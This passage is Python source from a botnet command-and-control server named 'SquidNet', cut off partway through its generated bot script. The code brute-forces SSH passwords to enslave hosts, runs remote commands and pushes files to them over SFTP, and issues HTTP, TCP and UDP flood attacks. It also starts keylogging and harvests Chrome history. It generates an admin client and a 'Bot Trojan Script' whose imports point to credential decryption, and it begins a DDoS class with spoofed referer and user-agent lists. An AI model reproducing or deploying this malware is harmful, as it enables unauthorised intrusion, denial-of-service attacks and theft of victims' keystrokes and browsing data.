elif msg.startswith("!infect"):
if self.passfile != False:
msg_split = msg.split()
ip = msg_split[1]
username = msg_split[2]
bruteforcer = threading.Thread(target=self.ssh_infect, args=(ip, username))
bruteforcer.start()
else:
c.send(
"[(SERVER)]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!")
elif msg.startswith("!keylog"):
msg_split = msg.split()
try:
self.displaykeys = bool(msg_split[1])
except:
self.displaykeys = False
self.log("\n[(SERVER)]: Started Keylogging on the bots.")
c.send(
f"[(SERVER)]: Set displaying Key-inputs to the server to: {self.displaykeys}".encode())
elif msg.startswith("!stopkeylog"):
self.log("\n[(SERVER)]: Stopped Keylogging on the bots.")
elif msg.startswith("!sshlogin"):
msg_split = msg.split()
ip = msg_split[1]
username = msg_split[2]
password = msg_split[3]
login = threading.Thread(target=self.ssh_login, args=(ip, username, password))
login.start()
elif msg.startswith("!getconninfo"):
c.send(str("[(SERVER)]:\n" + self.gen_conntable()).encode())
self.log(f"\n[(SERVER)---->({hostname})]:\n{self.gen_conntable()}")
elif msg.startswith("!inject"):
msg_split = msg.split()
file = msg_split[1]
for bot in self.ssh_bots:
self.ssh_inject(bot, file)
elif msg.startswith("!listsshbots"):
c.send(f"[(SERVER)]: Connected SSH Bots: {self.display_bots}".encode())
self.log(f"\n[(SERVER)---->({hostname})]: Connected SSH Bots: {self.display_bots}")
if "!login" in msg.strip() or "!help" in msg.strip() or "!getconninfo" in msg.strip() or "!listsshbots" in msg.strip() or "!getchromehistory" in msg.strip() or self.obtaininghistory:
pass
else:
if len(self.ssh_bots) != 0:
sendtossh = threading.Thread(target=self.send_ssh, args=(msg,))
sendtossh.start()
for connect in self.conn_list:
if connect in self.admin_conn:
pass
else:
try:
connect.send(msg.encode())
except:
connect.send(msg)
if msg == "" or msg == " ":
pass
else:
if self.savefile:
try:
if msg.decode() == "finished":
savefile = False
except:
pass
filenames = f"{number}{self.botfile}"
file_created = False
try:
file = open(filenames, 'rb')
file_content = file.read()
file_created = True
except:
file = open(filenames, 'wb')
file.write(msg)
file_content = msg
file.close()
file_created = True
if file_created:
file = open(filenames, 'wb')
try:
file.write(file_content.encode())
except:
file.write(file_content)
try:
file.write(msg.encode())
except:
file.write(msg)
file.close()
filemsg = f"\n[({hostname})]: Saved contents of {self.botfile} into {filenames}"
print(filemsg)
self.log(filemsg)
file_created = False
elif not self.savefile:
try:
if not self.obtaininghistory:
msgtoadmin = f"[({hostname})]: {msg.strip()}"
self.log("\n" + msgtoadmin)
if not msg.startswith("!sendkey"):
print("\n" + msgtoadmin)
except Exception as e:
self.log(f"\n[(ERROR)]: {e}")
for adminconn in self.admin_conn:
try:
if c == adminconn:
pass
else:
adminconn.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: Unable to send msg to: {adminconn}.")
except Exception as e:
if "a bytes-like object is required, not 'str'" in str(
e) or "An operation was attempted on something that is not a socket" in str(
e) or "startswith first arg must be bytes or a tuple of bytes, not str" in str(e):
self.log(f"\n[(ERROR)]: Ignoring Error {e} in {hostname}")
else:
self.log(
f"\n[(ERROR)]: {hostname} seems defective(Error: {e}).\n[(CLOSECONN)]: Closing connection....")
print(f"\n[!] {hostname} seems defective.\n[!] Closing connection....\n")
c.close()
break
def ssh_login(self, ip, username, password):
"""Does regular logging in with SSH into the provided ip and username. There is no
brute-forcing since a password arguement has be passed, and that the brute-force text
file is not used."""
print(f"[+] Attempting to login to {username}@{ip}\n[+] With password: {password}")
msgtoadmin = f"[(SERVER)]: Attempting to login to {username}@{ip}\n[(SERVER)]: With password: {password}"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, 22, username, password)
self.ips.append(ip)
self.display_bots.append(f"{username}@{ip}")
self.ssh_bots.append(client)
self.ssh_info.append(str(username) + " " + str(ip) + " " + str(password))
self.ssh_botlist.append(str(client) + ' ' + str(username))
msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {password}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(
f"\n[!] Successfully logged into {username}@{ip} with {password}!\n[!] Adding {username}@{ip} to the botnet.\n")
except Exception as e:
print(f"[+] Unable to login to {ip}@{username}\n[+] Try using different credentials.")
msgtoadmin = f"[(SERVER)]: Unable to log into {username}@{ip} due to: {e}"
self.log("\n" + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
def ssh_infect(self, ip, username):
"""Attempts to brute force the ip and username with the password list provided
from the txt file specified in the __init__ function."""
print(f"[+] Brute Forcing the Password for: {username}@{ip}\n")
msgtoadmin = f"[(SERVER)]: Brute Forcing the Password for: {username}@{ip}\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
flag = 0
for password in self.passwords:
try:
if flag == 1:
break
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
passw = password.strip()
client.connect(ip, 22, username, passw, timeout=2, auth_timeout=2)
self.ips.append(ip)
self.display_bots.append(f"{username}@{ip}")
self.ssh_bots.append(client)
self.ssh_info.append(str(username) + " " + str(ip) + " " + str(passw))
self.ssh_botlist.append(str(client) + ' ' + str(username))
msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {passw}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(f"\n[!] {ip}'s Password has been found!: {passw}\n[!] Adding {username}@{ip} to the botnet.\n")
flag = 1
break
except:
client.close()
if flag == 0:
msgtoadmin = f"[(SERVER)]: Unable to Brute Force password for {username}@{ip}"
self.log("\n" + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(f"\n[?] Unable to Brute Force password for {username}@{ip}")
def send_ssh(self, instruction):
"""Sends instructions to the SSH-Bots. The output will also be sent
back to the Server for the admins to see."""
try:
for bot in self.ssh_bots:
for usernames in self.ssh_botlist:
if str(bot) in usernames:
split_item = usernames.split()
username = split_item[4]
try:
stdin, stdout, stderr = bot.exec_command(instruction, get_pty=True)
stdin.close()
output = stdout.read().decode()
if output.strip() == "":
pass
else:
msgtoclient = f"\n[({username})]: {output.strip()}"
self.log(msgtoclient)
print(msgtoclient)
for admin in self.admin_conn:
try:
admin.send(msgtoclient.encode())
except:
self.log(f"[(ERROR)]: Unable to send message to {admin}.")
except:
bot.close()
except:
pass
def ssh_inject(self, client, file):
"""This function Opens up SFTP(Secure File Transfer Protocol) and
sends a file to the SSH-Bots, where they can be opened up on command."""
try:
if "/" in file or "\\" in file:
result = ""
for letter in file:
if letter == "/" or letter == "\\":
result += " "
else:
result += letter
split_result = result.split()
file = split_result[(len(split_result) - 1)]
file_dir = ""
for item in split_result:
if item == file:
pass
else:
file_dir = file_dir + item + "/"
os.chdir(file_dir)
for usernames in self.ssh_botlist:
if str(client) in usernames:
split_item = usernames.split()
username = split_item[4]
try:
sftp = client.open_sftp()
sftp.put(file, f'C:/{username}/{file}')
except:
sftp = client.open_sftp()
sftp.put(file, f'/Users/{username}/{file}')
os.chdir(self.cwd)
except:
pass
def reset_historyvar(self):
"""Resets the 'self.obtaininghistory' variable to false,
so that the bot messages would return to normal."""
time.sleep(10)
self.obtaininghistory = False
self.historyfile.close()
print("\n[+] You are now able to freely send messages to the bots.")
def instruct(self):
"""Server-Side Sending intructions to the bots. This is so that the Server
can also send packets to the Bots which they can send info back to the Server
and admins."""
self.savefile = False
while True:
try:
self.instruction = input("[+] Enter instruction to the bots: ")
if self.instruction == "!botcount":
print(f"[+] Current Connected Bots: {self.bot_count}\n")
elif self.instruction == "!clear":
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
self.logo()
self.usage()
elif self.instruction.startswith('!savefile'):
instruction_split = self.instruction.split()
self.botfile = instruction_split[1]
self.savefile = True
print("[+] Savefile commenced")
elif self.instruction.startswith("!genadminscript"):
filename = "SquidNetMaster.py"
contents = self.gen_admin()
file = open(filename, 'w')
file.write(contents)
file.close()
print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n")
self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n")
elif self.instruction.startswith("!httpflood"):
msgtobot = self.instruction.split()
try:
targ_website = msgtobot[1]
atk_delay = msgtobot[2]
print(f"[+] Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction.startswith("!getchromehistory"):
self.obtaininghistory = True
print(
"[+] Obtaining Bot Chrome history. It is highly suggested you do not give any commands at the moment.")
print("[+] Please wait 10 seconds before doing anything.")
self.historyfile = open("BotsHistory.txt", "wb")
print("[+] File with Bot Chrome History: BotsHistory.txt")
resetter = threading.Thread(target=self.reset_historyvar)
resetter.start()
elif self.instruction.startswith("!tcpflood"):
msgtobot = self.instruction.split()
try:
target = msgtobot[1]
print(f"[+] Beginning TCP Flood Attack on {target}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction.startswith("!udpflood"):
msgtobot = self.instruction.split()
try:
target = msgtobot[1]
print(f"[+] Beginning UDP Flood Attack on {target}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction == "!resettoken":
self.key = Fernet.generate_key()
with open('token.txt', 'w') as tokenfile:
tokenfile.write(str(self.key))
tokenfile.close()
print(
f"[+] The token has been reset to: {str(self.key)}\n[+] Note that you should regenerate a script to have the same token as the one in this script.\n")
self.log(f"\n[(TOKENRESET)]: Encryption key changed to: {str(self.key)}")
elif self.instruction == "!genscript":
filename = 'SquidNetBot.py'
file = open(filename, 'w')
contents = self.bot_script()
file.write(contents)
file.close()
print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n")
self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n")
elif self.instruction == "!stopatk":
print("[+] Attempting to stop all DDoS Attacks in the botnet.\n")
self.log("\n[(STOPATK)]: Attempting to stop all DDoS Attacks in the botnet.\n")
elif self.instruction == "!help":
self.usage()
elif self.instruction.startswith("!infect"):
if self.passfile != False:
instruction_split = self.instruction.split()
ip = instruction_split[1]
username = instruction_split[2]
brute_force = threading.Thread(target=self.ssh_infect, args=(ip, username))
brute_force.start()
else:
print("[+] Unable to bruteforce. Configure a password file to do so.\n")
elif self.instruction.startswith("!inject"):
msg_split = self.instruction.split()
filename = msg_split[1]
self.log(f"\n[(SERVER)]: Infecting all SSH Bots with {filename}")
for bot in self.ssh_bots:
injector = threading.Thread(target=self.ssh_inject, args=(bot, filename))
injector.start()
elif self.instruction.startswith("!listsshbots"):
print(f"[+] Connected SSH Bots: {self.display_bots}")
elif self.instruction.startswith("!keylog"):
msg_split = self.instruction.split()
try:
self.displaykeys = bool(msg_split[1])
except:
self.displaykeys = False
print(f"[+] Setting Display key-inputs to output to: {self.displaykeys}.")
self.log("\n[(SERVER)]: Started Keylogging on the bots.")
elif self.instruction.startswith("!stopkeylog"):
self.log("\n[(SERVER)]: Stopped Keylogging on the bots.")
elif self.instruction.startswith("!sshlogin"):
msg_split = self.instruction.split()
ip = msg_split[1]
username = msg_split[2]
password = msg_split[3]
self.ssh_login(ip, username, password)
elif self.instruction.startswith("!getconninfo"):
print(self.gen_conntable())
self.log(f"[(SERVER)]: Displayed Conn Table for Server.\n{self.gen_conntable()}")
elif self.instruction.startswith("!editfile"):
msg_split = self.instruction.split()
filename = msg_split[1]
print(f"[+] Attempting to open file editor for file {filename} on the bots.")
self.log(f"\n[(SERVER)]: Attempting to open file editor for file {filename} on the bots.")
elif self.instruction.startswith("!togglelisten"):
if self.listenforconn == True:
print("[+] Stopped listening for connections.\n")
self.log("\n[(SERVER)]: Stopped listening for connections.")
self.listenforconn = False
else:
print("[+] Restarted listening for connections.\n")
self.log("\n[(SERVER)]: Started to listen for connections.")
self.listenforconn = True
elif self.instruction.startswith("!kick"):
msg_split = self.instruction.split()
host = msg_split[1]
port = msg_split[2]
conntokick = ""
for i in self.connportlist:
if host + "" in i and port + " " in i:
conntokick = i
break
if conntokick == "":
print("\n[+] Hostname or port is not registered in the botnet.")
self.log(
f"\n[(SERVER)]: Attempted to kick {host} from source port {port} but it did not exist.")
else:
for conn in self.conn_list:
if str(conn) in conntokick:
print(f"\n[+] Successfully kicked {host}.")
self.log(f"\n[(SERVER)]: Kicked {host} at source port: {port}")
conn.close()
break
elif self.instruction.startswith("!whatsnew"):
print("""
[+] New Features In the SquidNet:
[+] - Added Web-Interface(http://127.0.0.1:8080)!
[+] - Fixed Variable bug in regular SSH Login Function(passw-->password)
[+] - Optimized the code.
[+] - Fixed web-interface server slowing down Botnet.
[+] - Fixed NotSamePassException Errors.
[+] - Fixed Error in self.send_ssh that would flood output with errors.
[+] - Fixed Error in Stopping DDoS Attacks(tried to call a bool object and not function).
[+] - Made password list optional(however brute forcing cannot happen).
[+] - Added '!cloneself' Command.
[+] - Fixed more errors on the admins being kicked without reason.
[+] - Upgraded reverse shell messages.
[+] - Added '!getconninfo' Command.
[+] - Made it so that '!clear', '!genscript' and '!genadminscript' are not sent to the clients.
[+] - Fixed typos.
[+] - Added '!kick' and '!togglelisten'
[+] - Added Keylogging to the bots.
[+] - Added display message when there is an error with binding the server.
[+] - Fixed bug that kicks bots when wanting to view content from a file remotely or when sending bytes.
[+] - Improved Logging Function.
[+] - Replace '--nH' and '--nP' arguements with '--eH' and '--eP'(external-host and port).
[+] - Replaced some text in the help message.
[+] - Made default admin password a random integer, rather than 'root'.
[+] - Removed unnessecary modules.
[+] - Chrome history obtaining is now possible on the bots ;).
[+] - Changed hashing algorithim to sha256.
""")
if "!clear" in self.instruction.strip() or "!genscript" in self.instruction.strip() or "!genadminscript".strip() in self.instruction.strip() or "!whatsnew" in self.instruction.strip() or "!getconninfo" in self.instruction.strip() or "listsshbots" in self.instruction.strip() or "!togglelisten" in self.instruction.strip():
pass
else:
if len(self.ssh_bots) != 0:
sendtossh = threading.Thread(target=self.send_ssh, args=(self.instruction,))
sendtossh.start()
self.log(f"\n[(SERVER)---->(ADMINS)]: Sent '{self.instruction}' to the bots.")
for conn in self.conn_list:
try:
if conn in self.admin_conn:
conn.send(f"[(SERVER)]: Sent '{self.instruction}' to the bots.".encode())
else:
conn.send(self.instruction.encode())
except:
self.log(f"\n[(ERROR)]: Unable to send message to {conn}.")
self.log(f"\n[(SERVER)]: {self.instruction}")
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
def gen_admin(self):
"""Generates the admin for remote admin connections to the BotNet."""
script = """
import socket, threading, os, time, urllib.request, sys
class BotMaster:
def __init__(self, ip, port, name, admin_password):
self.ip = ip
self.port = port
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip, self.port))
msg = str(socket.gethostname() + " " + self.getip() + " " + os.getlogin()+" "+sys.platform).encode()
self.client.send(msg)
self.name = name
self.admin_password = <PASSWORD>
time.sleep(1)
self.client.send("!CLIENTLOG".encode())
time.sleep(1)
self.client.send(f"!login {self.name} {self.admin_password}".encode())
self.logo()
print("\\n[+] Successfully logged into the Botnet!")
print("[+] You are able to access the Botnet and also give commands to all of the connected bots!")
print("")
self.reciever = threading.Thread(target=self.recv)
self.reciever.start()
self.sender = threading.Thread(target=self.send)
self.sender.start()
def logo(self):
print('''
_____ _ _ __ __ _
/ ____| (_) | | \/ | | |
| (___ __ _ _ _ _ __| | \ / | __ _ ___| |_ ___ _ __
\___ \ / _` | | | | |/ _` | |\/| |/ _` / __| __/ _ \ '__|
____) | (_| | |_| | | (_| | | | | (_| \__ \ || __/ |
|_____/ \__, |\__,_|_|\__,_|_| |_|\__,_|___/\__\___|_|
| |
|_|
SquidNet Admin Script By DrSquid''')
def getip(self):
try:
url = 'https://httpbin.org/ip'
req = urllib.request.Request(url)
result = urllib.request.urlopen(req)
try:
result = result.read().decode()
except:
result = result.read()
contents = result.split()
ip = contents[2].strip('"')
return ip
except:
pass
def send(self):
while True:
try:
msg = input("[(ADMIN)]: ")
self.client.send(msg.encode())
except:
print("[+] There may be a server error. Try to relogin to the botnet.")
def recv(self):
while True:
try:
msg = self.client.recv(65500).decode()
if msg == "":
pass
else:
print('\\n' + msg)
except:
print("\\n[+] Possible Server Error! Try to re-login to the Botnet!")
print("[+] If this is a re-occuring message, contact the Server Owner.")
print("\\n[+] Attempting to re-connect to the server.")
while True:
try:
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip, self.port))
msg = str(
socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform).encode()
self.client.send(msg)
time.sleep(1)
self.client.send("!CLIENTLOG".encode())
time.sleep(1)
self.client.send(f"!login {self.name} {self.admin_password}".encode())
print("[+] Successfully Logged Back Into the botnet.")
break
except:
pass
admin = BotMaster('""" + self.ngroklink + """',""" + str(
self.ngrokport) + """,'""" + self.admin_name + """','""" + self.passw + """')
"""
return script
def bot_script(self):
"""Generates the Bot Trojan Script needed to connect to this server and run commands from it.
Test it and see what it does! It will respond to all commands, and it will do either any of
the in-built commands or run any other instructions with command prompt/terminal."""
script = """
#-----SquidNet-Bot-Script-----#
import socket, time, os, threading, urllib.request, shutil, sys, random, base64, sqlite3, json, subprocess, re, shutil, ctypes
from datetime import datetime, timedelta
try:
from pynput.keyboard import Listener # pip install pynput
except:
pass
try:
import win32crypt # pip install pypiwin32
except:
pass
try:
from cryptography.fernet import Fernet # pip install cryptography
except:
pass
try:
from Crypto.Cipher import AES # pip install pycryptodome
except:
pass
class DDoS:
def __init__(self, ip, delay):
self.ip = ip
self.delay = delay
self.stopatk = False
self.useragents = self.obtain_user_agents()
self.referers = self.obtain_referers()
self.threader = threading.Thread(target=self.start_thr)
self.threader.start()
def obtain_referers(self):
referers = ['http://www.google.com/?q=', 'http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..',
'http://vk.com/profile.php?redirect=', 'http://www.usatoday.com/search/results?q=',
'http://engadget.search.aol.com/search?q=query?=query=..',
'https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882',
'https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925',
'http://yandex.ru/yandsearch?text=',
'https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832',
'http://go.mail.ru/search?mail.ru=1&q=', 'http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..',
'http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..',
'http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..',
'http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..',
'http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..',
'/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882',
'http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..',
'http://www.google.ru/url?sa=t&rct=?j&q=&e..',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://www.yandex.com/yandsearch?text=', 'https://duckduckgo.com/?q=',
'http://www.ask.com/web?q=',
'http://search.aol.com/aol/search?q=', 'https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=',
'https://drive.google.com/viewerng/viewer?url=', 'http://validator.w3.org/feed/check.cgi?url=',
'http://host-tracker.com/check_page/?furl=',
'http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=',
'http://jigsaw.w3.org/css-validator/validator?uri=', 'https://add.my.yahoo.com/rss?url=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=',
'http://www.google.com/?q=', 'https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=',
'https://drive.google.com/viewerng/viewer?url=', 'http://www.google.com/translate?u=',
'https://developers.google.com/speed/pagespeed/insights/?url=',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://add.my.yahoo.com/rss?url=', 'https://play.google.com/store/search?q=',
'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=']
return referers
def obtain_user_agents(self):
user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4',
'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
